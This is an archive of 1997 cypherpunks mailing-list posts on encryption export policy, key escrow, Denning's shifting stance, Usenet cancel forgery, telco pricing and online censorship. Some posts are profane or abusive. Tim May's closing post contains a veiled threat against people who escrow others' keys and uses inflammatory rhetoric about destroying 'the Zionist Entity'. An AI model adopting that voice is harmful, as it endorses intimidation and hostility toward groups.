-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 31 Jul 1997, Peter Trei wrote:

[...]

> Does the FCC charter mention photonic communications as 
> well?

Well snice the FCC IIRC has authourty over radio wich has a (minor)
photonic componte it has always been so.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+GVcaQK0ynCmdStAQHNFAQAlWsW/FWHXQt5O++uSZ5DaO3r9j+b043Q
FS2CN6xd6BPyGViz1sV3oH1u4hXa+nl8rSMRlV0+jLA443XAAaGDToezhmhgkPrn
mFuQKGbeZBApVj7CB8hWraZvNexQwljstjfnkn+Qpm+NYcvEPk+e4J7OcXKKXZEX
2SD1p5Vw/5A=
=Xfc9
-----END PGP SIGNATURE-----

From apache at bear.apana.org.au  Fri Aug  1 05:58:41 1997
From: apache at bear.apana.org.au (Apache)
Date: Fri, 1 Aug 1997 20:58:41 +0800
Subject: "Telco Terrorism" -- Wired on Baby Bells v. the Net
In-Reply-To: <199708010535.HAA23978@basement.replay.com>
Message-ID: <199708011218.WAA00840@bear.apana.org.au>

   Anonymous said:

>   If the telcos don't want to use efficient, effective technology
>to render service to their customers, then I certainly wouldn't
>want to *force* them to do so. However, neither do I want to be
>*forced* to pay exhorbitant rates because the telecos want to
>maintain a sloppily run monopoly on the services I have to choose
>from.

When satellite dish receive/broadcast services become common watch the 
scramble by telcos to update and offer cheap high speed links. Of course 
by then a lot of folks will just say fuck them. Here for your amusement 
are some sample prices offered by our very own blood sucking Telstra 
leech in our very own monopoly/oligopoly market (hard to say exactly what 
it is but there's no effective competition due to decades of government 
monopoly status:

All figures in Australian play money
====================================
Qoute from Toll$tra's web page: "Depending on your access speed, there is 
a low cost, flat monthly pricing for permanent modems or a two-tier price 
structure based on ussage for dedicated access ports pf 64 kbps and 
above."

Then if you dig and I do mean *dig* around on Toll$tra's web page you 
will eventually come across the actual pricing data if your lucky 
(depending on how you look at it).

Well now I just went to their web site and behold; in their wisdom and in 
their position as a internet provider they have removed(!) the pricing 
information on the page. You now have to ring them (I just tried..no 
answer) or email them (tried that 4 hours ago no reply so far) so I'll 
just post from memory. These figures will be wrong but they give some 
idea:

Permanent modem 33.6 connection: about $400 per month (plus call costs)
ISDN 64k: about $1000 per month plus 19 cents/Mb for data received over 
about 25 percent usage
ISDN 128k: about $2000 per month plus usage as above
DDS/FRAME relay: Astronomical $$$$$$$$ per month plus usage per above.
Establishment fee for the above: $1000 - $2000
Upgrade fee from to a new level: Same as establishment fee

I note with great interest an independent provider in New Zealand which
has a better competitive market situation in this area than Australia
(and a lot of other things I might add) offers a user account with up to
500kbs satellite feed for $79 (NZ) /mnth flat plus installation of $79 
plus you must by the satellite dish ($699). I would assume you can't 
resell bandwidth on this set up so the two are not directly comparable.

Oh yes and back to the topic, Telstra here trot out the same garbage as 
in the original post trying to justify timed local calls every year or 
so. Thus far they have been beaten...but only just. Technical solutions 
and a free market will be the only long term solutions, as we would 
expect.

-- 
   .////.   .//    Charles Senescall             apache at bear.apana.org.au
 o:::::::::///                                   apache at quux.apana.org.au
>::::::::::\\\     Finger me for PGP PUBKEY            Brisbane AUSTRALIA
   '\\\\\'   \\    Apache

From fnorky at geocities.com  Fri Aug  1 06:49:11 1997
From: fnorky at geocities.com (Doug Peterson)
Date: Fri, 1 Aug 1997 21:49:11 +0800
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <199707311540.RAA01345@basement.replay.com>
Message-ID: <33E1E37A.765@geocities.com>

Anonymous wrote:
> 
> James Love wrote:
> 
> >    On your other point, I really don't agree that is morally wrong to
> >take steps to prevent children from having access to pornography.
> >People may propose ways of doing this which are objectionable, but the
> >basic goal is hardly immoral.  Indeed, many think it is immoral not to
> >protect children.
> 
> Yes, yes...one man's morality is another's immorality.  Each of them thinks
> of himself as "being in the right" and sees the others as wrong or even
> "evil"  (witness the anti-BoyLover zealotry).  Different subjects but the
> same bullshit.  See the futility of it yet, Jamie?

Agreed.  Every religion and culture has a different set of standards and
values that it's people use to judge others by.  We will always piss off
someone.

> If parents find pornography objectionable for their children, then they
> must take ultimate responsibility to keep pornography away from their kids.
>  If they are not willing to do this, then they should not have had the
> children in the first place.  It's up to them to take care of their kids.
> Not you, not me, not the government, and not some "voluntary" ratings
> system.

I don't think I have seen this said better anywhere.

-Doug

From declan at well.com  Fri Aug  1 07:30:28 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 1 Aug 1997 22:30:28 +0800
Subject: Letter to AOL on "proposed censorship summit with radical right" (fwd)
Message-ID: 

---------- Forwarded message ----------
Date: Fri, 1 Aug 1997 07:16:14 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship at vorlon.mit.edu
Subject: Letter to AOL on "proposed censorship summit with radical right"

---------- Forwarded message ----------
Date: Fri, 1 Aug 1997 10:09:12 -0400 (EDT)
From: WildcatPrs at aol.com
To: declanmccullagh 
Subject: Fwd: Your Proposed Censorship Summit with Radical Right Leaders

---------------------
Forwarded message:
Subj:    Your Proposed Censorship Summit with Radical Right Leaders
Date:    97-07-31 11:43:06 EDT
From:    WildcatPrs
To:      Steve Case

Dear Steve Case,

As one of the plaintiffs in the ACLU/ALA case on the CDA, who saw it through
all the way to the Supreme Court, I am shocked and dismayed that you would
dignify the demands of the Christian Coalition et al by sitting down with
them in such a summit.

You know and I know that America Online will leave that negotiating table
having made major concessions on the subject of Internet censorship -- not
only for content on gay and lesbian and AIDS, but also women's issues and
many other subjects.   The religious right have a very long list of subjects
that they would like to censor out of U.S. libraries, schools and
media...which you will discover if you take the trouble to read BANNED BOOKS,
published each year by the ALA.

Get a clue, Mr. Case  This battle over "content" is not really about "child
pornography."  It is a thinly veiled disguise for the radical right's efforts
to impose its total belief and its proposed penal system on the people of the
United States.  It wants to have the United States be like the Colony of
Massachusetts before the Revolution.  I suggest you read some history, and
ponder whether you would have liked living under the religious dictatorship
that ran the colony.

Between 1962 and 1972, I lived in Spain as a working journalist for the
Reader's Digest, working out of its office in Madrid, and I saw in operation
just the kind of right-wing censorship system that the Christian Coalition et
al would like to impose on this country.  Part of its success involved just
the kind of "self-censorship" that you are now proposing to slap on your own
company.  You are no different than the Spanish book publishers who sat down
with the Catholic Church and agreed on what could be published.   As a
result, Spanish culture languished.  The Spanish people reached the point
where they had lots of jokes about self-censorship and didn't take their own
media or culture seriously.   It all came to an end in 1975, when Franco
died, and the Spanish people were so sick of church and censors that the new
government moved to end the hegemony of the Spanish Catholic Church and put
an end to censorship.

So shame on you for moving to introduce this kind of censorship to the United
States of America.   I have been a loyal customer of AOL since I got onto the
Internet two years ago, and I will take my business elsewhere if you go
through with this summit.

Sincerely,
Patricia Nell Warren

Wildcat Press
8306 Wilshire Blvd. Box 8306
Beverly Hills, CA 90211
213/966-2466
213/966-2467 fax

From dlv at bwalk.dm.com  Fri Aug  1 07:37:56 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 1 Aug 1997 22:37:56 +0800
Subject: Attila T. Spammer / Re: Denning questions/reverses her position?
In-Reply-To: <199708010531.HAA23603@basement.replay.com>
Message-ID: <9seRae2w165w@bwalk.dm.com>

nobody at REPLAY.COM (Anonymous) writes:

> Attila T. Hun wrote:
> >     I'm too old for this!  I never thought I would see the day that
> >     Dorothy Denning would terminate her star role as a shill for the
> >     Clinton/LEA encryption ban!
>
>   As a matter of fact, the mere thought of this happening has caused
> Attila to go into a state of "brain-lock" wherein he sits at his
> keyboard, sending the same message, over and over again, to the list.
>   It will be interesting to see what happens to Attila's brain if
> Clinton ever vetos a bill because it subverts the Constitution.

A mail glitch.  Big deal.  :-)

>   BTW, Dorothy Denning's new spokesperson is a flying pig, and the
> Weather Network reports that Hell froze over shortly before Denning's
> new position statement.

Come on now.  Dr. Denning is a VERY smart woman and I'm glad that she
eventually came to see the evils of GAK (key escrow by gov't).

I'm pretty sure she still supports the right of a corporation to
tell the users of corporate systems not to have anything on those
systems that the corporation can't decrypt.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From dlv at bwalk.dm.com  Fri Aug  1 07:39:00 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 1 Aug 1997 22:39:00 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free   download)
In-Reply-To: 
Message-ID: <41eRae3w165w@bwalk.dm.com>

? the Platypus {aka David Formosa}  writes:

> -----BEGIN PGP SIGNED MESSAGE-----
>
> On Thu, 31 Jul 1997, Bill Stewart wrote:
>
> [...MMF...]
>
> > though I'm sure that to some extent it's because people started
> > complaining to the Post Office that they were receiving junk mail,
>
> The MMF ban came about when its volume rose to a point where it crashed
> californaia's snail mail system.

Not true.  Urban legend.

(Not did the Cantor & Siegel spam cut Australia off of Usenet.  The cancels
forged for their spam did.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From sunder at brainlink.com  Fri Aug  1 07:48:39 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Fri, 1 Aug 1997 22:48:39 +0800
Subject: OverRun Msgs Re: Denning questions/reverses her position?
In-Reply-To: <199708010622.AAA19605@infowest.com>
Message-ID: 

Sounds like Dorothy's Revenge to me.  (i.e. a case of the email shits. :)
Heheh. :)

On Fri, 1 Aug 1997, Attila T. Hun wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> on or about 970731:2245 it was expostulated:
> 
> +::
> +Anon-To: cypherpunks at toad.com
> 
> +Attila T. Hun wrote: 
> +>     I'm too old for this!  I never thought I would see the day that
> +>     Dorothy Denning would terminate her star role as a shill for the
> +>     Clinton/LEA encryption ban!
> 
> +  As a matter of fact, the mere thought of this happening has caused
> +Attila to go into a state of "brain-lock" wherein he sits at his
> +keyboard, sending the same message, over and over again, to the list.
> +  It will be interesting to see what happens to Attila's brain if
> +Clinton ever vetos a bill because it subverts the Constitution.
> 
> +  BTW, Dorothy Denning's new spokesperson is a flying pig, and the
> +Weather Network reports that Hell froze over shortly before Denning's
> +new position statement.
> 
> +TruthMonger
> 
>     dunno why the message was repeated at cyberpass --each of the 55
>     copies I received as of 20 minutes ago has exactly the same header
>     date from cyberpass.  that and one of them smoked the primary
>     mailbox with a couple hundred null characters.  hun.attila.org
>     was offline so it could not have generated the extra messages --so
>     where did they loop?  only the shadow knows. If it is something
>     by remote SMPT added on, I apologize for the inconvenience.
> 
>     the image of my brain in "brain-lock" is apt enough for the reaction;
>     as for the flying pig and Hell freezes over --that too. Denning is
>     still Denning, and maybe she's just angling for more shill money 
>     before she gets back on the track.
> 
>     yes, if Clinton ever vetos a bill just because it violats the 
>     Constitution, I probably would be gone....

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder at sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================

From ravage at ssz.com  Fri Aug  1 08:40:28 1997
From: ravage at ssz.com (Jim Choate)
Date: Fri, 1 Aug 1997 23:40:28 +0800
Subject: Attila T. Spammer / Re: Denning questions/reverses her position? (fwd)
Message-ID: <199708011527.KAA26326@einstein.ssz.com>

Forwarded message:

> Subject: Re: Attila T. Spammer / Re: Denning questions/reverses her position?
> From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
> Date: Fri, 01 Aug 97 09:18:19 EDT

> I'm pretty sure she still supports the right of a corporation to
> tell the users of corporate systems not to have anything on those
> systems that the corporation can't decrypt.

And why wouldn't you? Let's look at this a moment.

1.   Business, irrespective of size, is not equivalent to the government
     and specificaly isn't mentioned in the Constitution at all so we
     are reasonably safe they are exempt from federal compliance with its
     requirements outside that detailed for citizens and regarding
     inter-state or international trade.

2.   The relationship between employer and employee is one based on a
     contract.

3.   Neither party is forced beyond their own needs and desires to sign
     the contract.

4.   Each party is aware of the contents of the contract before they
     sign it, or at least is given the opportunity to be made aware.
     If somebody wants to sign a contract with no knowledge of its
     contents, so be it.

5.   Who owns the computers? The business does clearly. Now a commen
     proviso on ownership is that the final decision, or the transfer
     of that decision, is up to the business. Just as it is ultimately
     up to you who gets to drive your car.

6.   Most provisions of employment contain the proviso that the time
     you agree to work for that employer is to be spent on dealing with
     the employers needs and not the employees. This is after all at least
     one of the reasons behind using time off and floating holidays and
     such.

7.   Provided the employee is aware of this policy at the time of
     signing OR is given a reasonable warning period before a shift of
     policy after hiring then the employee has no grounds to complain.

Myself, I always ask my immediate supervisor for a description of company
policy on this. I also always ask if they have an objection to me using
the company system to log into my home system during lunch and other
'off-clock' hours. So far I have never been refused.

Short answer to this, use your own resources for your own use and don't
use other peoples resources to carry on your own activities unless you offer
them a cut of the profit.

Ultimately this isn't even a question of contracts but of simple plain ol'
every-day manners.

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|

From cavery at ccnet.com  Fri Aug  1 08:48:46 1997
From: cavery at ccnet.com (Chris Avery)
Date: Fri, 1 Aug 1997 23:48:46 +0800
Subject: One effort for Internet Privacy
Message-ID: <01BC9E55.F7C62CE0@h97-128.ccnet.com>

On a lark, I dashed off a "letter to the editor" of the San Francisco Chronicle, quoted below, lo and behold it got published today.  You will see I simplified and softened the message somewhat -- a little spin for the good guys never hurt:  (published as lead letter, nice headline)

"HOW FAR SHALL WE LET THE EAVESDROPPERS GO?"

Editor -- Washington wants the right to "wire-tap" private communications on the Internet, and the issue is now being debated in Congress. I'm not raising the "content" issue, which can be handled by screening software or by ratings; this is instead the issue of privacy in person-to-person communications.

The rationale for the bills before Congress is law enforcement, giving officials new methods to detect criminal activity.  All well and good, but is it really wise to grant the bureaucracy access into this vital channel of personal communications before we fully understand its potentials?  How far shall we let the eavesdroppers go?  Beware, these aren't casual issues --- your rights are in danger.

CHRIS AVERY
Oakland

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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From sameer at c2.net  Fri Aug  1 11:30:06 1997
From: sameer at c2.net (sameer)
Date: Sat, 2 Aug 1997 02:30:06 +0800
Subject: Microsoft RAS encryption?
In-Reply-To: <3.0.3.32.19970801101506.0092b420@localhost>
Message-ID: <199708011755.KAA11466@gabber.c2.net>

	See www.l0pht.com

> 
> Does anybody know how Microsoft RAS implements data encryption? Apparently
> (http://www.microsoft.com/kb/articles/q136/6/34.htm) they use RC4, but is
> this stuff documented somewhere, like in an RFC?
> 
> 
> Mike.
> 

-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer at c2.net

From nospam-seesignature at ceddec.com  Fri Aug  1 16:21:15 1997
From: nospam-seesignature at ceddec.com (nospam-seesignature at ceddec.com)
Date: Sat, 2 Aug 1997 07:21:15 +0800
Subject: "Telco Terrorism" -- Wired on Baby Bells v. the Net
In-Reply-To: 
Message-ID: <97Aug1.163354edt.32258@brickwall.ceddec.com>

My ISP has already tried 128K wireless spread spectrum radio modems, and
they work fairly well.

If the Telcos move to raise rates, the internet will cease using the Telco
system.  And then some telephone interface company will create an internet
to POTS (Paleo Obsolete Telephone Service) interface.

The problem as it was explained to me is the aggregation factor (I don't
remember all the details so the following information is from my bad
memory).  Back when, someone decided that 8 lines could be grouped, and 8
groups would form a trunk (or at some level), so any of 64 stations could
make 8 (or 16) phone calls simultaneously into the central office.  Really
bad things happen when the 8 people are on for several hours and a 9th
attempts to use it.  To the point where you can't get a dialtone.  And
redial.  Which uses more CO resources.  Which causes more people not to
get a quick dialtone.  Which causes them to redial too...  And then it
melts down.  (The time it takes to get dialtone is apparently a measure of
load on the system).

Telcos are like modern Banks - they are based on fractional reserve
bandwidth.  When everyone tries to use their share at the same time, you
have the equivalent of a run on a bank.

Didn't Adam Back suggest bandwidth based financial derivatives...

--- reply to tzeruch - at - ceddec - dot - com ---

From ir at dev.null  Fri Aug  1 16:21:38 1997
From: ir at dev.null (Intolerant Remailer)
Date: Sat, 2 Aug 1997 07:21:38 +0800
Subject: New Remailer Announcement
Message-ID: <199708012152.PAA09058@wombat.sk.sympatico.ca>

   ----x------------------x----x------x---------------------x-x-----
   ANNOUNCEMENT: The "Intolerant Remailer" is now fully operational!
   ----x------------------x----x------x---------------------x-x-----

Remailer Policy
---------------
  Read the header, you lazy bastard.

Remailer Help
-------------
  You won't need any. Read the fucking header, like I told you!

Remailer Stats
--------------
  Why do you want to know? Are you a cop, or something?

Remailer Abuse Policy
---------------------
  Fuck you!

For Further Information:
-----------------------
  Don't bother asking. As a matter of fact, I've come to the decision
that I don't want a bunch of assholes like you using my remailer. Get
your own goddamn remailer!

----x------------------x----x------x---------------------x-x-----------
"Intolerant Remailer" is a registered TradeMark of "Automated Anonymous 
Assholes, Inc.", for use only by the "Electronic Forgery Foundation."
----x------------------x----x------x---------------------x-x-----------

From jamesd at echeque.com  Fri Aug  1 16:51:58 1997
From: jamesd at echeque.com (James A. Donald)
Date: Sat, 2 Aug 1997 07:51:58 +0800
Subject: FCPUNX:'Telco Terrorism' -- Wired on Baby Bells v. the Net
Message-ID: <199708012338.QAA24304@proxy4.ba.best.com>

At 10:18 PM 8/1/97 +1000, Apache wrote:
> I note with great interest an independent provider in New Zealand which
> has a better competitive market situation in this area than Australia
> (and a lot of other things I might add) offers a user account with up to
> 500kbs satellite feed for $79 (NZ) /mnth flat plus installation of $79 
> plus you must by the satellite dish ($699). I would assume you can't 
> resell bandwidth on this set up so the two are not directly comparable.

The (comparatively) free market telecom system in New Zealand is due
to a LEFT WING, pro liberty, government, that adopted a strategy 
"let us privatize first and let the free market sort out the chaos 
later"

The equivalent in America is almost unimaginable.  Here in America left
means statist, left means big brother is in charge.  The same is true,
or used to be true when I was there, in Australia, though not to the
extreme that it is true in America.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd at echeque.com

From gelmanl at gwis2.circ.gwu.edu  Fri Aug  1 17:11:51 1997
From: gelmanl at gwis2.circ.gwu.edu (Lauren Amy Gelman)
Date: Sat, 2 Aug 1997 08:11:51 +0800
Subject: reuters crypto story (fwd)
Message-ID: 

----------------------------------------------------------------------------
----------------------------------------------------------------------------
Lauren Amy Gelman, USACM			gelman at acm.org
U.S. Public Policy Committee for the Association for Computing

---------- Forwarded message ----------
Date: Fri, 01 Aug 1997 16:24:40 -0400
From: Aaron Pressman 
Subject: reuters crypto story

Human rights groups favor strong encryption abroad
  WASHINGTON, Aug 1 (Reuter) - Human rights activists came to Capitol Hill
on Friday to tell lawmakers of their need to use strong computer encoding
programs, subject to strict U.S. export limits, in their work outside the
country.
   The debate over exports of encryption technology, which scrambles
information and renders it unreadable without a password or software "key,"
 has largely pitted the interests of commercial companies and civil
libertarians against those of law enforcement and intelligence agencies.
   But human rights advocates said Friday they also had a critical interest
 at stake.
   Swift and inexpensive communications over the Internet "promise to
destroy the ability of abusive regimes to silence their people, hide their
atrocities and blockade the truth," said Dinah PoKempner, deputy general
counsel for Human Rights Watch.
   "Encryption offers the most fundamental protection to those who seek to
bring abuses to light in these circumstances," she added at a briefing for
congressional staff.
   Those who report human rights abuses can become victims of abuse if
discovered, so the availability of encryption to hide electronic mail
messages or faxes can be a matter of "life or death," said Patrick Ball,
who trains human rights activists to use the technology.
   The Clinton administration generally prohibits the export of strong
encryption unless the products allow the government to decode any message
by gaining access to the software keys. A variety of encryption-related
legislation is pending in Congress, including bills that would overturn the
 Clinton policy and relax the export limits.
   Ball, senior program associate with the American Association for the
Advancement of Science (AAAS), warned that the use of so-called key
recovery features to give governments access to coded messages could
compromise the work of human rights groups.
   "How can we ensure that intelligence and law enforcement groups in
repressive countries will not directly or indirectly obtain human rights
groups keys from the U.S. government," Ball asked. "Human rights monitoring
 is always defined by repressive regimes as a threat to national security."
   Congressional staffers attending the briefing also heard from leading
cryptography scientists who said U.S. export controls stifled research on
encryption, thereby slowing the development of more secure computer
networks.
   Alex Fowler, project coordinator with the AAAS, said the presentations
were intended to counter the portrait of encryption users painted by law
enforcement agencies.
   "We want to reaffirm that cryptography is a science, not just a pastime
of anarchists, terrorists and hackers," Fowler said.
   The export rules prohibit U.S. researchers from collaborating with
foreign scientists on coding technology, according to Ian Goldberg, a
graduate student at the University of California.
   In January, Goldberg sucessfully cracked a message in a few hours that
had been encoded with the most powerful encryption allowed to be freely
exported from the United States.
   A Canadian citizen, Goldberg said that he could collaborate with others
or publish research on the Internet while home from school. "But I can't go
 home every time I have an idea --the plane fare alone..." he joked.
   --Aaron Pressman((202-898-8312))

For related news, double click on one of the following codes:
[E] [U] [MNI] [NAT] [CAN] [US] [WASH] [BUS] [TEL] [DPR] [TRD] [ENT] [MUNI]
[GVD] [DBT] [INT] [FRX] [CA] [LEN] [RTRS]

Friday, 1 August 1997 16:04:06
RTRS [nN01204006]

------------------------------------------------------------------------
Any views expressed in this message are those of the individual  sender,
except  where  the  sender  specifically  states them to be the views of
Reuters Ltd.

From dlv at bwalk.dm.com  Sat Aug  2 08:20:29 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 2 Aug 1997 08:20:29 -0700 (PDT)
Subject: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: 
Message-ID: 

? the Platypus {aka David Formosa}  writes:

> On Thu, 31 Jul 1997, Adam Back wrote:
>

[detect multi-post]
> > That is cancel all but one groups worth of articles, and then modify
> > the Newsgroups line to cross-post to all the groups the article was
> > originally posted to.
>
> No that is worce,  it would be forgery of the orginal post.  In addtion it
> would violate the usenet requirement to avoid modifing the post.

In my opinion, the hnorable way to deal with multi-posts is to detect them
automatically and to ignore them. A NoCeM 'bot like the one run by the
Venerable CancelMoose is a good thing.

A compression scheme where many copies of the same text would be transmitted
only once even if they're posted once would be an excellent thing (given that
such traffic is a very substantial
portion of a full uncensored feed), but it's not crucial.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From dlv at bwalk.dm.com  Sat Aug  2 08:21:08 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 2 Aug 1997 08:21:08 -0700 (PDT)
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <19970731090412.58654@math.uiuc.edu>
Message-ID: <6PBTae5w165w@bwalk.dm.com>

Tim Skirvin  writes:

> Adam Back  writes:
>
> > Newsadmins who auto-cancel cross-posts are acting counter-productively
> > and censorously.

Once again, the net.Scum who forges cancels are generally NOT news admins.

Please examine Net.Scum web pages for the self-appointed censors like
Tim Brown (http://www.netscum.net/brownt0.html) or Bob Curtis
(../curtisb0.html) when the site is up again.  Indeed, Bob Curtis's
example is very telling - he tried to "take over" an unmoderated
newsgroup, claiming to represent some "Usenet administration", and
forging cancels for articles that exposed his lies.

> 	I'm not aware of anybody that does that.  The only crossposts that
> are killed are those that reach a BI of 20, and for a single post to do
> that would require the message to be crossposted to 400 newsgroups.  Which
> doesn't happen.

Here's one counterexample. Yes, it's in the
regional relcom.* hierarchy.  Yes, there are lots of folks who forge cancels
for "inappropriate cross-posts" in the "big 8". I won't bother looking
for them because Tim Skirvin knows about it and is simply lying.

]Path: ...!www.nntp.primenet.com!globalcenter1!news.primenet.com!nntp.primenet.com!howland.erols.net!europa.clark.net!newsfeed.sovam.com!sovam!Gamma.RU!srcc!news1.relcom.ru!news1.relcom.ru!dmart
]From: dmart at news1.relcom.ru (Dmitri Martynoff)
]Newsgroups: relcom.commerce.computers,relcom.commerce.communications,relcom.demos.commerce,relcom.netnews,relcom.tcpip,relcom.www.users,relcom.www.support,relcom.hot-news,relcom.commerce.talk
]Subject: cmsg cancel <33c3c4a0.2317359 at news2.worldweb.net>
]Control: cancel <33c3c4a0.2317359 at news2.worldweb.net>
]Date: 9 Jul 1997 01:11:51 GMT
]Organization: Relcom/Eunet InterNetNews site
]Lines: 3
]Sender: vad at worldweb.net (Vadim Daskovsky)
]Approved: dmart at relcom.ru
]Message-ID: <5puogn$9f0$1 at news1.relcom.ru>
]NNTP-Posting-Host: news1.relcom.ru
]
]Excessive crossposting a.k.a. SPAM canceled. See Usenet newsgroup
]news.admin.net-abuse.misc for details.
]Coordinator of relcom.* newsgroups Dmitri Martynoff .

And now some friends of Tim are forging cancels for any traffic originating
from UUNet, irrespective of contents, and Tim Skirvin approves of it.

Tell your news admin to stop processing cancels immediately.

> 	It might interest you to know that a cancel will kill all the
> crossposts in a single message, BTW.  Your "cancelling 99 of the 100
> articles thing" does save lots of reader time.
>
> 	(If you're going to talk about cancels authoritatively, please
> read my Cancel FAQ - it's got huge piles of information on this stuff.)

Please be advised that all of Tim Skirvin's FAQs are full of lies (except
for the parts plagiarized from David Stodolsky :-).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From tcmay at got.net  Fri Aug  1 17:28:37 1997
From: tcmay at got.net (Tim May)
Date: Sat, 2 Aug 1997 08:28:37 +0800
Subject: Denning backs away from GAK
In-Reply-To: 
Message-ID: 

At 1:49 AM -0700 8/1/97, Vin McLellan wrote:

>	To note the obvious, the Constitutional argument cuts both ways,
>with warranted access to "private papers," versus the Founding Fathers'
>proto-privacy and their rude distrust of federal power.  (It's kind of like
>the abortion debate, where the premise you start off with almost dictates
>which conclusion you arrive at, many steps later.)  Denning's pragmatic,
>utilitarian, arguments are useful, but I suggest they mask a deeper shift
>of primacy among competing principles.

But the Constitution has never been interpreted as placing prior restraints
on strength of locks, on shades over windows, etc. Nor on whispering or
speaking in code phrases to deter eavesdroppers.

(Nor, obviously, as the "warranted access" Vin speaks about _ever_ been
construed to mean that house keys must be deposited in advance ("escrowed"
in newspeak) with law enforcement.)

It is this prior restraint on the strength of security technology which is
at issue. If a proper warrant is gotten, the disclosure of papers may be
compelled. Whether they can be gotten depends on a lot of things. Just as
with physical papers, which may or may not be retrievable.

>about this, it will be _very_ interesting.)  Denning, like many on the
>other side, is smart & idealistic.  This study and other recent statements

Well, this is your opinion. I've read a lot of her stuff, and heard her
speak, and I can't agree with your characterization.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."

From jya at pipeline.com  Fri Aug  1 17:53:07 1997
From: jya at pipeline.com (John Young)
Date: Sat, 2 Aug 1997 08:53:07 +0800
Subject: JYA Axed
Message-ID: <1.5.4.32.19970802003043.006cb0a8@pop.pipeline.com>

The ISP for jya.com, PrimeHost, an AOL subisidiary, has axed
the site.

We learned of this today after trying for a week to get an answer 
to why the site vanished. Tech said call Sales, Sales said it's not 
us, it's got to be Tech. Tech said it's definitely not us, and if it's
not Sales or us it must be Bosses.

Finally, a Boss was reached who said the site was "intentionally pulled." 
He claimed that it was "not a serious problem, so don't be alarmed," 
and sang cheerily about "some files" without elaboration.

Maybe more next week, and we pray it turns out to be hysterically
alarming and not merely a pissed Intel Prop owner seeking pay.

JYX.com is still up, thanks to PrimeHost's autosub. Ten files there -- 
so far.

We're humping to get the latest 60-page package of the RSA v. PGP 
suit there this weekend, thanks to Nobody.

From tcmay at got.net  Fri Aug  1 17:57:53 1997
From: tcmay at got.net (Tim May)
Date: Sat, 2 Aug 1997 08:57:53 +0800
Subject: Using Strong Crypto to Forcefully Liberate Palestine
In-Reply-To: 
Message-ID: 

At 5:06 PM -0700 8/1/97, Lauren Amy Gelman wrote:
>---------- Forwarded message ----------
>Date: Fri, 01 Aug 1997 16:24:40 -0400
>From: Aaron Pressman 
>Subject: reuters crypto story
>
>
>Human rights groups favor strong encryption abroad
>  WASHINGTON, Aug 1 (Reuter) - Human rights activists came to Capitol Hill
>on Friday to tell lawmakers of their need to use strong computer encoding
>programs, subject to strict U.S. export limits, in their work outside the
>country.
...

I rather suspect that the human rights groups working for the liberation of
Palestinians are characterized as "terrorists" by the Zionists and by the
U.S. Government for their work in helping to destroy the Zionist Entity.

As this relates to crypto, don't we all think the U.S. Government would
provide decryption keys if the exported Key Recovery software were being
used by the freedom fighters against the Zionist Entity?

Likewise, Phil Zimmermann's favorite example, the freedom fighters in the
jungles of Burma, using laptops and PGP to fight the Rangoon-based
oppressors, would be "turned" by the USG just as soon as it became policy
to support the government in Rangoon.

No human rights group can ever count on the USG. And why anyone who thinks
this is welcome to escrow their keys voluntarily. But if they try to escrow
the keys of others, they need to be taken care of in the usual way.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
